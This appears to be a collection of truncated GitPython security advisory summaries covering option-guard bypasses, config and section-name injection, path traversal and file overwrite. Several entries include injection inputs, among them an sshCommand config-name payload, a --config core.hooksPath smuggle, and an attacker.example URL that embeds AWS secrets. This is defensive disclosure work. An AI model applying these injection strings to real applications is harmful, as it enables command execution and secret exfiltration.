The check_unsafe_options guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with split_single_char_options=False. The guard's candidate list omits the smuggled option, but transform_kwarg emits a JOINED -n<value> argv token that git parses as –upload-pack=<cmd>, yielding arbitrary command execution at the default allow_unsafe_options=False. This is an incomplete-fix bypass of commit e8d0fbf7 (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when …
IndexFile.from_tree, IndexFile.reset (→ from_tree) and IndexFile.merge_tree append caller-influenced treeish strings positionally to git read-tree with no unsafe-option guard, no allow_unsafe_options parameter, and no – separator. git read-tree –index-output=<file> writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected –index-output override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit 3af0c251 (GHSA-3f7w-8rr8-f37f) guarded only checkout_index …
Repo.init() forwards *kwargs verbatim to git init with no unsafe-option guard and no allow_unsafe_options parameter. git init –template=<dir> copies <dir>/hooks/ into the new repo's .git/hooks, so an attacker-controlled template kwarg plants a hook that executes on the next git operation → arbitrary code execution. –template is already recognized as unsafe for clone (it is on unsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), but Repo.init is a distinct method that never …
GitPython's config-name validator only neutralizes CR/LF/NUL for the "option" label; it does not reject =, #, ;, [, ], or whitespace in an option name. write_section writes the option name verbatim into the config file, so an option name such as sshCommand = touch <cmd> # is written as \tsshCommand = touch <cmd> # = <value>, which git parses as core.sshCommand = touch <cmd> (the trailing # comments out the …
GitPython computes the on-disk location of a submodule's separate Git directory (.git/modules/<name>) from the submodule's .gitmodules section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. ../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition …
IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout with no guard. Passing –pathspec-from-file=<file> together with –pathspec-file-nul makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of GHSA-3f7w-8rr8-f37f - TagReference.create() with …
GitPython blocks dangerous git options through Git.check_unsafe_options(), gated per method by an allow_unsafe_options parameter. That guard is applied per call site, so any API that forwards **kwargs into a git command without calling it passes caller-controlled options straight to git. A mechanical sweep of every method that forwards **kwargs into a .git.<command>(…) call found 14 sites with no guard. Two reach a git option that takes a filesystem path: | …
Repo.archive() does call the option guard, so this is not a missing-guard report. The guard is present and working; the denylist it consults is incomplete.
Commit.count() forwards **kwargs into rev_list with no check_unsafe_options guard (the guard exists only in the sibling iter_items, commit.py:341). git rev-list –output=<path> opens and truncates the target file to 0 bytes before revision parsing, so count(output='/victim') destroys/blanks an arbitrary file.
GitPython's check_unsafe_options guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the default allow_unsafe_options=False configuration this yields arbitrary command execution via –upload-pack.
GitPython's unsafe_git_clone_options denylist omits –template. git clone –template=<dir> copies <dir>/hooks/ into the new repository and runs them (post-checkout fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default allow_unsafe_options=False configuration.
In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the […] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or …
The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next …
Diffable.diff() forwards **kwargs straight into diff/diff_tree with no check_unsafe_options guard. Diffable is mixed into Commit, Tree, IndexFile, and Submodule, giving a broad surface. git diff –output=<path> writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.
Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's …
GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (–upload-pack, –receive-pack, –exec, -c, –config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options(). That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git …
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (–upload-pack, –config, -c, -u for clone; –upload-pack for fetch/pull; –receive-pack, –exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True. The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option …
GitPython version 3.1.50 blocks unsafe git clone options such as –upload-pack, -u, –config, and -c unless callers explicitly pass allow_unsafe_options=True. However, the default unsafe-option gate does not recognize joined short-option forms such as -u/path/to/helper. Git itself accepts -u<upload-pack> as the short form of –upload-pack=<upload-pack>. As a result, Repo.clone_from(…, multi_options=["-u<helper>"], allow_unsafe_options=False) can execute the helper command even though the equivalent long option is blocked. Affected package: Ecosystem: PyPI Package: GitPython Confirmed …
Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py …
GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's …
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.
_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "–branch main –config core.hooksPath=/x" passes validation (starts with –branch), but after split becomes ["–branch", "main", "–config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.
GitPython blocks dangerous Git options such as –upload-pack and –receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.